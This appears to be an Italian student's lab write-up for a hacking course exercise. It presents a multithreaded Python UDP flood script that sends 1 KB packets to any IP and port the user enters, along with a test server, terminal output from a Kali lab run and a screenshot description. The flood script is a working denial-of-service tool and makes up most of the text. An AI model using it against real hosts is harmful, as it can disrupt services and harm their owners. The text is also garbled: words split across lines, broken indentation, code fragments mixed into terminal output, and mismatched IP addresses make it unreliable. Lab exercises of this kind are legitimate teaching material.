

S3/L5

Esercizio programmazione per Hacker

```
import socket
import random
import threading
import time

def send_udp_flood(target_ip, target_port, num_packets, thread_id):
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    packet_size = 1024
    random_data = bytearray(random.getrandbits(8) for _ in range(packet_size))

    try:
        for _ in range(num_packets):
            udp_socket.sendto(random_data, (target_ip, target_port))
            print(f"Thread {thread_id}: Inviati {num_packets} pacchetti UDP a {target_ip}:{target_port}")
    except Exception as e:
        print(f"Thread {thread_id}: Errore durante l'invio dei pacchetti: {e}")
    finally:
        udp_socket.close()

if __name__ == "__main__":
    try:
        target_ip = input("Inserisci l'IP target: ")
        target_port = int(input("Inserisci la porta target: "))
        num_packets = int(input("Quanti pacchetti da 1 KB v"))
    except ValueError:
        print("Input non valido. Assicurati di inserire valori numerici per IP, porta e numero di pacchetti.")
```

```

        uoi inviare per thread? "))
    num_threads = int(input("Quanti thread vuoi utilizz
are? "))

    start_time = time.time()

    threads = []
    for i in range(num_threads):
        thread = threading.Thread(target=send_udp_floo
d, args=(target_ip, target_port, num_packets, i+1))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

    end_time = time.time()
    elapsed_time = end_time - start_time
    print(f"Tempo totale impiegato: {elapsed_time:.2f}
secondi")

except ValueError:
    print("inserisci un numero valido.")
except Exception as e:
    print(f"Errore: {e}")

```

1. PER VERIFICARE LO SCRIPT HO CREATO UN SERVER FITTIZIO E L'HO MESSO IN ASCOLTO:

```

└─(kali㉿kali)-[~/Desktop/Pitone]
$ /bin/python /home/kali/Desktop/Pitone/Server.py
Inserisci la porta su cui il server deve ascoltare: 44444
Server UDP in ascolto su 192.168.1.29:44444

```

script server.py:

```
import socket

def start_udp_server(listen_ip, listen_port):
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_socket.bind((listen_ip, listen_port))

    print(f"Server UDP in ascolto su {listen_ip}:{listen_port}")

try:
    while True:
        data, addr = udp_socket.recvfrom(1024) # Riceve i dati dal client
        print(f"Ricevuto {len(data)} byte da {addr}")
except KeyboardInterrupt:
    print("\nChiusura del server.")
finally:
    udp_socket.close()

if __name__ == "__main__":
    listen_ip = "192.168.1.29" # Ascolta su tutte le interfacce
    listen_port = int(input("Inserisci la porta su cui il server deve ascoltare: "))

    start_udp_server(listen_ip, listen_port)
```

2. SU IL TERMINALE DI KALI LINUX HO MANDATO LO SCRIPT DDOS:

```
(kali㉿kali)-[~/Desktop/Pitone]          udp_socket.close()
└─$ python3 S3L5
Inserisci l'IP target: 192.168.2.29    if __name__ == "__main__":
Inserisci la porta target: 44444
Quanti pacchetti da 1 KB vuoi inviare per thread? 20
Quanti thread vuoi utilizzare? 20
Thread 2: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 1: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 3: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 4: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 6: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 7: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 5: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 9: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 8: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 10: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 11: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 13: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 12: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 14: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 15: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 16: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 17: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 18: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 20: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Thread 19: Inviati 20 pacchetti UDP a 192.168.2.29:44444
Tempo totale impiegato: 0.01 secondi
```

3. HO FATTO IL CHECK SUL TERMINALE DEL SERVER:

```
(kali㉿kali)-[~/Desktop/Pitone]
$ ./bin/python /home/kali/Desktop/Pitone/Server.py
Inserisci la porta su cui il server deve ascoltare: 44444
Server UDP in ascolto su 192.168.1.29:44444
Ricevuto 1024 byte da ('192.168.1.29', 47289)
Ricevuto 1024 byte da ('192.168.1.29', 44709)    I
Ricevuto 1024 byte da ('192.168.1.29', 47289)
Ricevuto 1024 byte da ('192.168.1.29', 44709)
Ricevuto 1024 byte da ('192.168.1.29', 47289)
Ricevuto 1024 byte da ('192.168.1.29', 44709)
```

A screenshot of Visual Studio Code displaying a Python script named `Server.py`. The code defines a UDP server function that listens on port 44444. A loop inside the function repeatedly receives data from the socket and prints it to the terminal, showing many instances of the message "Ricevuto 1024 byte da ('192.168.1.29', 42000)". The terminal output pane also shows the status bar indicating the file is Python, the character encoding is UTF-8, and the system is 3.11.9 64-bit.

4. HO ESEGUITO IL CHECK SU WIRESHARK



